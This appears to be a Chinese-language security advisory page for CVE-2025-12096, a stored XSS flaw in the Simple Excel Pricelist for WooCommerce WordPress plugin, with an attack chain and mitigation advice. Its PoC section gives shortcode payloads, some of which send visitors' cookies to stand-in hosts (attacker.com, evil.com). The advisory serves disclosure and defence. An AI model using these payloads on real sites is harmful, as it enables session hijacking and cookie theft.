IPBUF安全漏洞报告
English
CVE-2025-12096 CVSS 6.4 中危

CVE-2025-12096 WordPress Simple Excel Pricelist插件存储型XSS漏洞

披露日期: 2025-10-24

漏洞信息

漏洞编号
CVE-2025-12096
漏洞类型
存储型XSS
CVSS评分
6.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Simple Excel Pricelist for WooCommerce (WordPress插件)

相关标签

存储型XSSWordPress插件漏洞Simple Excel PricelistWooCommerceCVE-2025-12096短代码注入权限提升

漏洞概述

Simple Excel Pricelist for WooCommerce是WordPress的一个插件,用于通过Excel文件创建和管理WooCommerce产品价格表。该插件在1.13及以下所有版本中存在存储型跨站脚本(XSS)漏洞,根源在于插件的'pricelist'短代码处理功能对用户提供的属性参数缺乏充分的输入 sanitization(消毒)和输出 escaping(转义)机制。攻击者利用此漏洞可以注入恶意JavaScript代码,这些代码会被永久存储在数据库中。当其他用户访问包含恶意代码的页面时,注入的脚本会自动执行,可能导致会话劫持、敏感信息窃取、管理权限滥用等严重安全风险。由于该漏洞为存储型XSS,其危害性高于反射型XSS,恶意代码会持续存在于系统中直到被发现和清除。

技术细节

漏洞存在于插件处理[pricelist]短代码的过程中。当用户通过短代码属性传递参数时,插件未能对用户输入进行有效的HTML实体转义。具体而言,攻击者可以在短代码属性中嵌入恶意JavaScript脚本,如:<script>alert(document.cookie)</script>或<img src=x onerror=恶意代码>。这些未经过滤的输入被直接存储到WordPress数据库中,并在页面渲染时未经转义直接输出到HTML页面中。由于WordPress的 Contributor 角色及以上用户都具有使用短代码的权限,攻击者可以轻松利用这一弱点进行持久性攻击。漏洞代码位置位于 classes/sepwWorker.php 第176行附近,插件在该处直接输出用户控制的属性值而未调用esc_html()或esc_attr()等安全函数进行转义。修复方案需要在输出前对所有用户输入进行HTML实体编码,确保任何HTML标签和JavaScript代码都被无害化处理。

攻击链分析

STEP 1
步骤1
攻击者获取WordPress网站 Contributor 级别或更高权限的账户
STEP 2
步骤2
攻击者创建或编辑文章/页面,插入带有恶意payload的[pricelist]短代码
STEP 3
步骤3
恶意脚本随短代码被保存到WordPress数据库中,形成持久性攻击向量
STEP 4
步骤4
当管理员或其他用户访问包含该短代码的页面时,未转义的恶意脚本在浏览器中执行
STEP 5
步骤5
攻击者通过执行的JavaScript窃取用户会话cookie、劫持账户或执行其他恶意操作

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- Stored XSS PoC for CVE-2025-12096 --> <!-- Attacker with Contributor role can inject malicious script via shortcode --> <!-- This script will execute when any user views the affected page --> [pricelist category_id='<script>alert(document.cookie)</script>'] <!-- Alternative payload using img tag --> [pricelist category_id='<img src=x onerror=fetch("https://attacker.com/steal?c="+document.cookie)>'] <!-- More sophisticated payload for session hijacking --> [pricelist category_id='"><script>var img=new Image();img.src="https://evil.com/log?c="+btoa(document.cookie);</script>']

影响范围

Simple Excel Pricelist for WooCommerce <= 1.13 (所有版本)

防御指南

临时缓解措施
立即限制 Contributor 角色的短代码使用权限,直到插件升级到安全版本。同时在Web应用防火墙(WAF)中配置规则,检测和阻止包含<script>标签或事件处理器属性的短代码请求。对于已受感染的页面,需要手动审查并清除数据库中的恶意payload。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表